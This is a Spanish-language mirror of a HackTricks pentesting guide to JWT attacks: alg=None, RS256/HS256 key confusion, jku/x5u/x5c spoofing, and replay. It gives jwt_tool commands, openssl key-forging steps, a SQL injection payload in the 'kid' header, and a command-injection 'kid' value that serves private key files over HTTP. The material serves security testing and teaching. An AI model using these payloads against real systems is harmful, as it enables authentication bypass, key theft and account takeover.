mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 22:33:13 +00:00
272 lines
19 KiB
Markdown
272 lines
19 KiB
Markdown
# Vulnerabilidades de JWT (Json Web Tokens)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Otras formas de apoyar a HackTricks:
|
||
|
||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
![](<../.gitbook/assets/image (638) (3).png>)
|
||
|
||
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
**Parte de esta publicación se basa en el increíble post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||
**Autor de la gran herramienta para pentesting de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||
|
||
### **Victorias Rápidas**
|
||
|
||
Ejecuta [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con el modo `¡Todos los Tests!` y espera las líneas verdes
|
||
```bash
|
||
python3 jwt_tool.py -M at \
|
||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||
```
|
||
Si tienes suerte, la herramienta encontrará algún caso donde la aplicación web esté verificando incorrectamente el JWT:
|
||
|
||
![](<../.gitbook/assets/image (435).png>)
|
||
|
||
Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa solicitud usando la herramienta jwt\_:
|
||
```bash
|
||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||
```
|
||
### Manipular datos sin modificar nada
|
||
|
||
Simplemente puedes manipular los datos dejando la firma tal como está y verificar si el servidor está revisando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.
|
||
|
||
#### **¿Se verifica el token?**
|
||
|
||
Para verificar si la firma de un JWT está siendo verificada:
|
||
|
||
- Un mensaje de error sugiere una verificación en curso; los detalles sensibles en errores detallados deben ser revisados.
|
||
- Un cambio en la página devuelta también indica verificación.
|
||
- La falta de cambio sugiere que no hay verificación; en este caso, es cuando se debe experimentar con la manipulación de las reclamaciones del payload.
|
||
|
||
### Origen
|
||
|
||
Es importante determinar si el token fue generado en el servidor o en el cliente examinando el historial de solicitudes del proxy.
|
||
|
||
- Los tokens vistos por primera vez desde el lado del cliente sugieren que la clave podría estar expuesta al código del lado del cliente, lo que requiere una investigación adicional.
|
||
- Los tokens que se originan en el servidor indican un proceso seguro.
|
||
|
||
### Duración
|
||
|
||
Verifica si el token dura más de 24 horas... tal vez nunca expire. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente.
|
||
|
||
### Fuerza bruta del secreto HMAC
|
||
|
||
[**Ver esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||
|
||
### Modificar el algoritmo a None (CVE-2015-9235)
|
||
|
||
Establece el algoritmo utilizado como "None" y elimina la parte de la firma.
|
||
|
||
Utiliza la extensión Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" en "None").
|
||
|
||
### Cambiar el algoritmo de RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||
|
||
El algoritmo HS256 utiliza la clave secreta para firmar y verificar cada mensaje.\
|
||
El algoritmo RS256 utiliza la clave privada para firmar el mensaje y utiliza la clave pública para la autenticación.
|
||
|
||
Si cambias el algoritmo de RS256 a HS256, el código del backend utiliza la clave pública como la clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.
|
||
|
||
Luego, utilizando la clave pública y cambiando de RS256 a HS256 podríamos crear una firma válida. Puedes recuperar el certificado del servidor web ejecutando esto:
|
||
```bash
|
||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||
```
|
||
### Nueva clave pública dentro del encabezado
|
||
|
||
Un atacante incrusta una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114).
|
||
|
||
Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.\
|
||
(Envía la solicitud a Repeater, dentro de la pestaña JSON Web Token selecciona "CVE-2018-0114" y envía la solicitud).
|
||
|
||
### Suplantación de JWKS
|
||
|
||
Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, especialmente aquellos que emplean una afirmación de encabezado "jku". Esta afirmación debe enlazar a un archivo JWKS (JSON Web Key Set) que contenga la clave pública necesaria para la verificación del token.
|
||
|
||
- **Evaluación de Tokens con Encabezado "jku"**:
|
||
- Verificar la URL de la afirmación "jku" para asegurarse de que conduzca al archivo JWKS apropiado.
|
||
- Modificar el valor "jku" del token para dirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico.
|
||
|
||
- **Monitoreo de la Interacción HTTP**:
|
||
- Observar las solicitudes HTTP a la URL especificada indica los intentos del servidor de obtener claves desde el enlace proporcionado.
|
||
- Al emplear `jwt_tool` para este proceso, es crucial actualizar el archivo `jwtconf.ini` con la ubicación personal de su JWKS para facilitar las pruebas.
|
||
|
||
- **Comando para `jwt_tool`**:
|
||
- Ejecute el siguiente comando para simular el escenario con `jwt_tool`:
|
||
```bash
|
||
python3 jwt_tool.py JWT_AQUÍ -X s
|
||
```
|
||
|
||
### Resumen de Problemas con "kid"
|
||
|
||
Una afirmación de encabezado opcional conocida como `kid` se utiliza para identificar una clave específica, lo cual es especialmente vital en entornos donde existen múltiples claves para la verificación de la firma del token. Esta afirmación ayuda a seleccionar la clave apropiada para verificar la firma de un token.
|
||
|
||
#### Revelación de Clave a través de "kid"
|
||
|
||
Cuando la afirmación `kid` está presente en el encabezado, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica `"kid":"key/12345"`, los archivos _/key/12345_ y _/key/12345.pem_ deben buscarse en la raíz web.
|
||
|
||
#### Travesía de Ruta con "kid"
|
||
|
||
La afirmación `kid` también podría ser explotada para navegar a través del sistema de archivos, lo que potencialmente permitiría la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Falsificación de Solicitudes del Lado del Servidor (SSRF) al alterar el valor `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor `kid` manteniendo la firma original se puede lograr utilizando la bandera `-T` en jwt_tool, como se muestra a continuación:
|
||
```bash
|
||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||
```
|
||
Al apuntar a archivos con contenido predecible, es posible falsificar un JWT válido. Por ejemplo, el archivo `/proc/sys/kernel/randomize_va_space` en sistemas Linux, conocido por contener el valor **2**, puede ser utilizado en el parámetro `kid` con **2** como la contraseña simétrica para la generación del JWT.
|
||
|
||
#### Inyección SQL a través de "kid"
|
||
|
||
Si el contenido de la afirmación `kid` se emplea para recuperar una contraseña de una base de datos, una inyección SQL podría facilitarse al modificar la carga útil de `kid`. Un ejemplo de carga útil que utiliza inyección SQL para alterar el proceso de firma del JWT incluye:
|
||
|
||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||
|
||
Esta alteración fuerza el uso de una clave secreta conocida, `ATTACKER`, para la firma del JWT.
|
||
|
||
#### Inyección de SO a través de "kid"
|
||
|
||
Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:
|
||
|
||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||
|
||
### x5u y jku
|
||
|
||
#### jku
|
||
|
||
jku significa **URL de conjunto de claves JWK**.\
|
||
Si el token utiliza una afirmación de encabezado “**jku**”, **verifique la URL proporcionada**. Esta debería apuntar a una URL que contenga el archivo JWKS que contiene la Clave Pública para verificar el token. Manipule el token para que el valor jku apunte a un servicio web del cual pueda monitorear el tráfico.
|
||
|
||
Primero, necesitas crear un nuevo certificado con nuevas claves privadas y públicas.
|
||
```bash
|
||
openssl genrsa -out keypair.pem 2048
|
||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||
```
|
||
Entonces puedes usar por ejemplo [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado.** Para crear un certificado jku válido, puedes descargar el original y cambiar los parámetros necesarios.
|
||
|
||
Puedes obtener los parámetros "e" y "n" de un certificado público usando:
|
||
```bash
|
||
from Crypto.PublicKey import RSA
|
||
fp = open("publickey.crt", "r")
|
||
key = RSA.importKey(fp.read())
|
||
fp.close()
|
||
print("n:", hex(key.n))
|
||
print("e:", hex(key.e))
|
||
```
|
||
#### x5u
|
||
|
||
X.509 URL. Un URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en forma PEM. El primer certificado en el conjunto debe ser el utilizado para firmar este JWT. Los certificados subsiguientes firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
|
||
|
||
Intenta **cambiar este encabezado por una URL bajo tu control** y verifica si se recibe alguna solicitud. En ese caso, **podrías manipular el JWT**.
|
||
|
||
Para falsificar un nuevo token utilizando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada:
|
||
```bash
|
||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||
```
|
||
Entonces puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado**.
|
||
|
||
![](<../.gitbook/assets/image (439).png>)
|
||
|
||
También puedes abusar de ambas vulnerabilidades **para SSRFs**.
|
||
|
||
#### x5c
|
||
|
||
Este parámetro puede contener el **certificado en base64**:
|
||
|
||
![](<../.gitbook/assets/image (440).png>)
|
||
|
||
Si el atacante **genera un certificado autofirmado** y crea un token falsificado usando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, es decir, n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el servidor.
|
||
```bash
|
||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||
openssl x509 -in attacker.crt -text
|
||
```
|
||
### Clave Pública Incrustada (CVE-2018-0114)
|
||
|
||
Si el JWT tiene incrustada una clave pública como en el siguiente escenario:
|
||
|
||
![](<../.gitbook/assets/image (438).png>)
|
||
|
||
Utilizando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:
|
||
```bash
|
||
const NodeRSA = require('node-rsa');
|
||
const fs = require('fs');
|
||
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
|
||
e = "AQAB";
|
||
const key = new NodeRSA();
|
||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||
console.log(importedKey.exportKey("public"));
|
||
```
|
||
Es posible generar un nuevo par de claves privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:
|
||
```bash
|
||
openssl genrsa -out keypair.pem 2048
|
||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||
```
|
||
Puedes obtener el "n" y "e" usando este script de nodejs:
|
||
```bash
|
||
const NodeRSA = require('node-rsa');
|
||
const fs = require('fs');
|
||
keyPair = fs.readFileSync("keypair.pem");
|
||
const key = new NodeRSA(keyPair);
|
||
const publicComponents = key.exportKey('components-public');
|
||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||
```
|
||
Finalmente, utilizando la clave pública y privada y los nuevos valores "n" y "e" puedes usar [jwt.io](https://jwt.io) para forjar un nuevo JWT válido con cualquier información.
|
||
|
||
### JTI (JWT ID)
|
||
|
||
La afirmación JTI (JWT ID) proporciona un identificador único para un Token JWT. Puede ser utilizado para evitar que el token sea reutilizado.\
|
||
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La solicitud 0001 y 10001 van a utilizar el mismo ID. Por lo tanto, si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
|
||
|
||
### Reclamos registrados en JWT
|
||
|
||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||
|
||
### Otros ataques
|
||
|
||
**Ataques de Relevo entre Servicios Cruzados**
|
||
|
||
Se ha observado que algunas aplicaciones web confían en un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego se debe intentar repetir el token obtenido en una solicitud al objetivo para ver si es aceptado.
|
||
|
||
- La aceptación de tu token podría indicar un problema crítico, potencialmente permitiendo la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que podría ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en una zona legal gris.
|
||
|
||
**Verificación de Caducidad de Tokens**
|
||
|
||
La caducidad del token se verifica utilizando el reclamo de carga útil "exp". Dado que los JWT a menudo se utilizan sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y repetir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de caducidad para el token. Además, la implementación de verificaciones relevantes por parte de la aplicación para garantizar el procesamiento de este valor y el rechazo de tokens caducados es crucial. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se recomienda almacenar el token y repetirlo después de que haya pasado el tiempo de caducidad. El contenido del token, incluido el análisis de la marca de tiempo y la verificación de caducidad (marca de tiempo en UTC), se puede leer utilizando la bandera -R de la herramienta jwt_tool.
|
||
|
||
- Puede existir un riesgo de seguridad si la aplicación aún valida el token, ya que podría implicar que el token nunca caduque.
|
||
|
||
### Herramientas
|
||
|
||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||
|
||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Otras formas de apoyar a HackTricks:
|
||
|
||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|